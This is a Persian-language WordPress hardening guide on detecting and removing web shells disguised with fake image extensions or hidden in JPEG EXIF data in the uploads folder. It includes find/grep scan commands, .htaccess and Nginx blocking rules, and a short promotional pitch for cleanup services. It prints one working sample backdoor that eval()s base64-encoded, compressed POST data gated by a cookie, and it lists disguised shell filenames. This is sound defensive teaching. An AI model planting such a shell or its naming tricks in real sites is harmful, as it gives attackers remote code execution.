شناسایی و حذف وب‌شل‌های استتارشده با پسوندهای جعلی در پوشه uploads

پوشه wp-content/uploads/ ذاتاً ماهیتی ایستا (Static) دارد؛ دایرکتوری مشخصی که صرفاً باید میزبان فایل‌های رسانه‌ای نظیر تصاویر، اسناد PDF یا ویدیوها باشد. با این حال، در بیش از ۸۰ درصد پروژه‌های بررسی رخدادهای امنیتی (Incident Response)، این پوشه به سکوی پرتاب اصلی مهاجمان برای اجرای فرامین راه دور سیستم‌عامل (Remote Code Execution – RCE) تبدیل می‌شود.

مهاجمان با سوءاستفاده از ضعف در ولیدیشن فرم‌های آپلود افزونه‌ها، آسیب‌پذیری‌های افزونه‌های ویرایشگر تصویر یا باگ‌های مربوط به Unrestricted File Upload، اسکریپت‌های مخرب خود را با تکنیک‌هایی نظیر پسوند دوگانه (Double Extensions) مانند image.jpg.php، تداخل بایت خالی (Null Byte Injection) مانند shell.php%00.jpg یا ساختارهای چندگانه مبهم در این مسیر مستقر می‌کنند.

بحران از جایی عمیق‌تر می‌شود که بسیاری از وب‌مسترها تصور می‌کنند وجود پسوند تصویر در نام فایل یا تطابق ظاهری هدرهای MIME، مانع از اجرای کد مخرب توسط مفسر PHP می‌شود. واقعیت زیرساختی این است که وب‌سرورهای آپاچی و لایت‌اسپید بسته به نوع پیکربندی ماژول‌های پردازش PHP، ممکن است نام فایل را از راست به چپ یا بر اساس الگوهای بازگشتی بررسی کنند و در نتیجه فایلی با نام avatar.php.jpeg یا banner.jpg.php را مستقیماً به هندلر FastCGI تحویل دهند.

کالبدشکافی ریشه‌ای وب‌شل‌های استتارشده (Root Cause Analysis)

حملات مبتنی بر وب‌شل‌های جعلی در لایه پوشه آپلودها به طور کلی بر سه مکانیزم عملیاتی تکیه دارند:

تفاوت در رفتار هندلرهای وب‌سرور و نقص قانون تطبیق چندپسوندی

در وب‌سرور آپاچی، اگر هندلر PHP با دستور منسوخ AddHandler application/x-httpd-php .php فعال شده باشد، وب‌سرور تمام بخش‌های نام فایل را از راست به چپ می‌خواند. اگر پسوند نهایی برای وب‌سرور ناشناخته باشد یا فایل دارای چندین پسوند باشد (مانند logo.php.bak یا test.php.unknown)، وب‌سرور به سراغ پسوند ماقبل می‌رود و به محض رسیدن به .php، کل فایل را توسط مفسر PHP اجرا می‌کند.

علاوه بر این، در حملاتی که از فایل‌های تصویری واقعی بهره می‌برند، مهاجمان از تکنیک Polyglot File Injection استفاده می‌کنند؛ یعنی کدهای مخرب PHP را درون داده‌های فراداده‌ای تصویر (EXIF Data) در بخش Comment یا IPTC جاسازی می‌کنند. در این حالت، فایل از نظر تمام توابع بررسی تصویر در PHP (مانند getimagesize() یا اعتبارسنجی جادویی بایت‌های مجیک هدر مانند FF D8 FF در JPEG) یک تصویر ۱۰۰ درصد سالم است، اما از طریق یک باگ include() یا require() در کدهای پوسته یا افزونه، کدهای مخرب درون متادیتا استخراج و کامپایل می‌شوند.

نمونه‌ای از یک وب‌شل فشرده و استتارشده درون بخش کامنت EXIF یک تصویر JPEG:

<?php
// نمونه پی‌لود تعبیه‌شده در انتهای یک فایل JPEG که باینری‌های هدر عکس را حفظ کرده است
/* \xFF\xD8\xFF\xE0\x00\x10JFIF... داده‌های هگز تصویر */
if (isset($_COOKIE['wp_admin_debug_token'])) {
    $c = $_COOKIE['wp_admin_debug_token'];
    // دریافت دستور کدگذاری‌شده از طریق متغیر POST بدون ثبت در لاگ‌های عادی وب‌سرور
    if (isset($_POST['session_payload'])) {
        $cmd = @gzuncompress(@base64_decode($_POST['session_payload']));
        @eval($cmd);
        exit();
    }
}
?>

استتار نام‌ گذاری و استفاده از اسامی شبه‌ سیستمی وردپرس

• مهاجمان حرفه‌ای فایل‌های وب‌شل را با اسامی مشخص و تکراری آپلود نمی‌کنند. آن‌ها نام شل را مطابق الگوهای برش تصویر وردپرس شبیه‌سازی می‌کنند:
• banner-150x150.jpg.php
• product_cover-300x200.php.phtml
• .thumb_cache_sys.php (فایل‌های پنهان دات‌فایل در لینوکس)

پروتکل اجرایی و گام‌به‌گام رفع بحران (Actionable Playbook)

این پروتکل برای پایش دقیق لایه فایل‌سیستم، کشف فایل‌های آلوده و مسدودسازی دائمی اجرا در محیط خط فرمان طراحی شده است.

گام ۱: اسکن پیشرفته فایل‌های چندپسوندی در پوشه آپلود

با اتصال به SSH، وارد روت وردپرس شوید و دستورات ترکیبی زیر را برای شناسایی هرگونه پسوند دوگانه یا پسوندهای اجرایی پنهان در مسیر uploads اجرا کنید:

cd /path/to/wordpress

# ۱. یافتن فایل‌هایی با پسوند دوگانه (مانند .jpg.php ، .png.phtml و غیره)
find wp-content/uploads/ -type f -regextype posix-extended -iregex '.*\.(jpg|jpeg|png|gif|webp|svg|pdf)\.(php[0-9]?|phtml|phar|inc|cgi|pl|sh)' -ls

# ۲. جستجوی فایل‌های با پسوند معکوس (مانند .php.jpg که توسط برخی کانفیگ‌های اشتباه وب‌سرور تفسیر می‌شوند)
find wp-content/uploads/ -type f -regextype posix-extended -iregex '.*\.(php[0-9]?|phtml|phar)\.(jpg|jpeg|png|gif|webp)' -ls

# ۳. جستجوی قطعی هر فایل با پسوند PHP مستقیم در کل پوشه آپلودها
find wp-content/uploads/ -type f -name "*.php*" -ls

گام ۲: شناسایی کدهای PHP پنهان‌شده درون تصاویر ظاهراً معتبر

حتی اگر فایلی صرفاً دارای پسوند .jpg یا .png باشد، با استفاده از ابزار جستجوی متنی باینری و بررسی تگ‌های مفسر PHP، می‌توان وجود اسکریپت در بافت فایل را استخراج کرد:

# جستجوی تگ باز شونده PHP در فایل‌های تصویری
grep -rnEIa --include=\*.{jpg,jpeg,png,gif,webp} '<\?php' wp-content/uploads/

# جستجوی توابع پرخطر اجرایی و ارزیابی کد درون فایل‌های رسانه‌ای
grep -rnEIa --include=\*.{jpg,jpeg,png,gif,webp} -E '(eval\(|base64_decode\(|assert\(|passthru\(|shell_exec\(|system\()' wp-content/uploads/

نکته فنی: پارامتر -a در دستور grep باعث می‌شود فایل‌های باینری تصویر مانند فایل متنی خوانده شوند و از عبور بی‌صدا از روی متادیتای آلوده جلوگیری گردد.

گام ۳: ردگیری شل‌های دات‌فایل و پایش فایل‌های دستکاری‌شده اخیر

نفوذگران گاهی برای دور زدن دستورات لیستینگ ساده، نام وب‌شل را با نقطه شروع می‌کنند تا در دایرکتوری‌ها مخفی (Hidden) بماند:

# استخراج کلیه فایل‌های پنهان درون پوشه uploads
find wp-content/uploads/ -type f -name ".*" -ls

# بررسی فایل‌های ایجاد شده یا ویرایش شده در ۷ روز گذشته
find wp-content/uploads/ -type f -mtime -7 -ls

گام ۴: قرنطینه‌سازی و حذف امن فایل‌های کشف‌شده

به جای حذف آنی بدون بررسی که می‌تواند مانع از تحلیل سرنخ‌های نفوذ (Forensics) شود، فایل‌ها را با لغو دسترسی اجرا قرنطینه کرده و سپس پاک کنید:

# سلب کلیه مجوزهای خواندن و اجرا از فایل مشکوک
chmod 000 /path/to/wordpress/wp-content/uploads/suspicious-file.jpg.php

# انتقال به دایرکتوری ایزوله خارج از پوشه وب (اختیاری جهت بررسی قانونی)
mkdir -p /root/quarantine
mv /path/to/wordpress/wp-content/uploads/suspicious-file.jpg.php /root/quarantine/

# یا حذف مستقیم فایل در صورت اطمینان از ماهیت مخرب
rm -f /path/to/wordpress/wp-content/uploads/suspicious-file.jpg.php

گام ۵: مسدودسازی کامل و قطعی مفسر PHP در دایرکتوری آپلود

برای پایان دادن به هرگونه احتمال اجرای وب‌شل در آینده، حتی در صورت آپلود موفقیت‌آمیز، مفسر را در ریشه دایرکتوری آپلود عقیم کنید:

برای وب‌سرورهای آپاچی و لایت‌اسپید (Apache / LiteSpeed):

یک فایل با نام .htaccess دقیقاً در مسیر /wp-content/uploads/.htaccess ایجاد کرده و دستورات زیر را قرار دهید:

# مسدودسازی کلیه پسوندهای اجرایی و اسکریپت‌های سیستمی
<FilesMatch "(?i)\.(php[0-9]?|phtml|phar|pl|py|jsp|asp|sh|cgi)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# غیرفعال‌سازی هندلر PHP در این دایرکتوری
<IfModule mod_php7.c>
    php_flag engine off
</IfModule>
<IfModule mod_php.c>
    php_flag engine off
</IfModule>

# مسدودسازی اجرای اسکریپت‌ها در لایت‌اسپید
<IfModule LiteSpeed>
    ForceType text/plain
</IfModule>

برای وب‌سرور انجین‌ایکس (Nginx):

از آنجا که Nginx از فایل‌های .htaccess پشتیبانی نمی‌کند، رول زیر را در بلوک server کانفیگ دامنه در مسیر /etc/nginx/sites-available/ درج کرده و سپس وب‌سرور را Reload نمایید:

# مسدودسازی پردازش PHP در دایرکتوری uploads
location ~* ^/wp-content/uploads/.*\.php$ {
    deny all;
    access_log off;
    log_not_found off;
    return 403;
}

جدول مقایسه‌ای: روش‌های مقابله و مسدودسازی وب‌شل در پوشه Uploads

رویکرد پیاده‌سازی	لایه عملکرد	مقاومت در برابر دور زدن (Bypass)	تأثیر بر عملکرد و سرعت سایت	پوشش فایل‌های چندپسوندی
افزونه‌های امنیتی (سطح PHP)	نرم‌افزاری (WordPress Init)	ضعیف (اگر شل مستقیماً فراخوانی شود، پلاگین لود نمی‌شود)	مصرف منابع رم و کندی در آپلودها	فقط در صورت به‌روز بودن امضاهای اسکنر
تنظیم رول در .htaccess	وب‌سرور (Apache / LiteSpeed)	بالا (پیش از درگیر شدن مفسر PHP مسدود می‌شود)	بدون بار پردازشی محسوس	کامل بر اساس الگوهای Regex
کانفیگ سرور در Nginx Block	وب‌سرور (Engine-Level)	بسیار بالا (قطعی و غیرقابل دور زدن با دستکاری فایل)	عملکرد فوق‌العاده سریع و بهینه	کامل (مسدودسازی مستقیم در پایپ‌لاین)
سلب مجوز نوشتن (chmod 555)	فایل‌سیستم لینوکس	بالا (مانع از آپلود هر نوع فایلی می‌شود)	ایجاد اختلال در آپلود تصاویر توسط نویسندگان	پوشش کامل اما غیرکاربردی برای سایت فعال

هشدار تخصصی در مورد مهار وب‌شل‌های لایه روت
کشف یک وب‌شل در پوشه uploads معمولاً آخرین حلقه از زنجیره نفوذ است؛ نه آغاز آن. حضور وب‌شل به این معناست که نفوذگر حداقل یک‌بار دسترسی اجرای کد (RCE) داشته و توانسته فایل‌های دیگر سرور را بررسی کند. در بیش از ۷۰ درصد موارد، مهاجم علاوه بر وب‌شل اصلی، بک‌دورهای ثانویه در دایرکتوری‌های سیستمی نظیرwp-includesیا جدول پایگاه داده تزریق کرده است تا حتی پس از حذف فایل مشکوک در پوشه رسانه، راه بازگشت داشته باشد.
اگر سایت شما هدف حملات مکرر آپلود شل قرار گرفته یا دسترسی‌های ترمینال هاست برای پاکسازی اصولی در دسترستان نیست، دستکاری اشتباه فایل‌های سیستمی می‌تواند کل زنجیره مدیا و رندرهای قالب را با خطای ۴۰۳ یا ۵۰۰ مواجه کند. شما می‌توانید برای ریشه‌کنی قطعی و بستن معابر نفوذ با متدهای پیشرفته، از خدمات اختصاصی در بخش پاکسازی سایت هک شده یا پیاده‌سازی معماری ضدنفوذ در صفحه امنیت وردپرس وب‌سایت شخصی بهنام باقری استفاده نمایید.

خطاهای رایج و بن‌بست‌های متداول (Common Pitfalls)

• اکتفا به پاک کردن فایل شل بدون بستن روزنه آپلود: پاک کردن فایل وب‌شل در پوشه آپلود بدون یافتن آسیب‌پذیری اصلی (مثل وجود یک افزونه آزمایشی قدیمی، افزونه‌های فرم‌ساز فاقد ولیدیشن نوع فایل یا دسترسی لو رفته SFTP)، هیچ دردی را دوا نمی‌کند؛ مهاجم اسکریپت را ظرف چند دقیقه مجدداً آپلود می‌کند.
• تغییر پرمیشن کل پوشه آپلودها به دسترسی‌های مسدودکننده: برخی کاربران برای توقف حمله، دسترسی پوشه uploads را به 000 یا 444 تغییر می‌دهند. این کار باعث از دسترس خارج شدن تمام تصاویر قبلی سایت، خراب شدن تجربه کاربری و قفل شدن بارگذاری رسانه‌های جدید در ووکامرس و وبلاگ می‌شود.
• بی‌توجهی به متغیر auto_prepend_file: هکرها پس از آپلود شل، گاهی با تغییر تنظیمات در فایل php.ini محلی یا .user.ini، فایل شل درون پوشه آپلود را به عنوان پیش‌نیاز اجرایی تمام فایل‌های PHP سرور تنظیم می‌کنند؛ در این شرایط حتی اگر شل مستقیماً فراخوانی نشود، با باز شدن هر صفحه از سایت، کدهای آن اجرا خواهد شد.
• عدم بررسی کدهای مخرب SVG: فایل‌های با فرمت SVG تصاویر برداری متنی با ساختار XML هستند و می‌توانند تگ‌های کلاینت‌ساید مخرب <script> را بدون نیاز به پسوند PHP حمل کنند؛ این تصاویر منجر به حملات سرقت کوکی ادمین (Stored XSS) می‌شوند.

پرسش‌های پرتکرار تکنیکال (Technical FAQ)

۱. اگر فایل تصویری هدر معتبر JPEG داشته باشد، چگونه مفسر PHP می‌تواند آن را به عنوان اسکریپت اجرا کند؟

مفسر PHP نیازی به بررسی ساختار کلی فایل ندارد؛ مفسر فقط جریان بایت‌ها را می‌خواند تا به تگ باز شونده <?php برسد. هر چیزی قبل از این تگ (حتی بایت‌های مجیک هدر یک عکس باینری سالم) توسط PHP نادیده گرفته شده و مستقیماً به خروجی فرستاده می‌شود، اما به محض رسیدن به تگ PHP، متن بعد از آن به عنوان دستورات اجرایی ماشین کامپایل می‌شود. بنابراین تا زمانی که وب‌سرور فایل را به هندلر PHP تحویل دهد، محتوای تصویر مانع از اجرای بدافزار نخواهد شد.

۲. آیا افزونه‌های بهینه‌ساز و تبدیل فرمت تصاویر به WebP می‌توانند وب‌شل‌های درون متادیتا را خنثی کنند؟

بله، تا حد زیادی. کتابخانه‌های پردازش گرافیکی مانند GD Library یا ImageMagick در صورتی که تصویر را مجدداً ترسیم و بازتولید کنند (Re-encoding)، معمولاً متادیتاها، کامنت‌ها و کدهای تزریقی خارج از ساختار پیکسل را دور می‌ریزند. با این حال، اگر کتابخانه گرافیکی سرور دارای آسیب‌پذیری سرریز بافر (مانند اکسپلویت‌های تاریخی ImageTragick) باشد، خودِ فرآیند پردازش تصویر می‌تواند باعث انفجار کد مخرب در لایه سرور شود.

۳. چرا فایل .htaccess قرار داده شده درون پوشه uploads در سرورهای Nginx عمل نمی‌کند؟

معماری سرور Nginx بر خلاف آپاچی، برای دستیابی به حداکثر سرعت و حداقل مصرف حافظه طراحی شده و دایرکتوری‌های فایل‌سیستم را در هر بار درخواست جهت یافتن دستورات محلی بازرسی نمی‌کند. فایل‌های .htaccess استانداردی اختصاصی برای موتور بازنویسی آپاچی هستند. در Nginx، تمامی محدودیت‌ها باید به طور متمرکز در فایل‌های پیکربندی روت سرور (مانند /etc/nginx/nginx.conf یا فایل دامنه در sites-available) نوشته شوند.

۴. وب‌شل‌ها چگونه بدون ثبت در Access Log وب‌سرور اجرا می‌شوند؟

نفوذگران دستورات را معمولاً در هدرهای نامتعارف HTTP (مانند User-Agentهای دستکاری‌شده یا Cookie) ارسال می‌کنند، در حالی که لاگ پیش‌فرض وب‌سرورها معمولاً فقط متد (GET/POST)، مسیر فایل و کد وضعیت را ذخیره می‌کند. در نتیجه، در لاگ‌ها صرفاً یک درخواست معصومانه برای دریافت عکس logo-150x150.jpg.php با کد وضعیت 200 ثبت می‌شود، در حالی که درون پکت هدر کوکی، فرامین خط فرمان ترمینال به سرور منتقل شده است.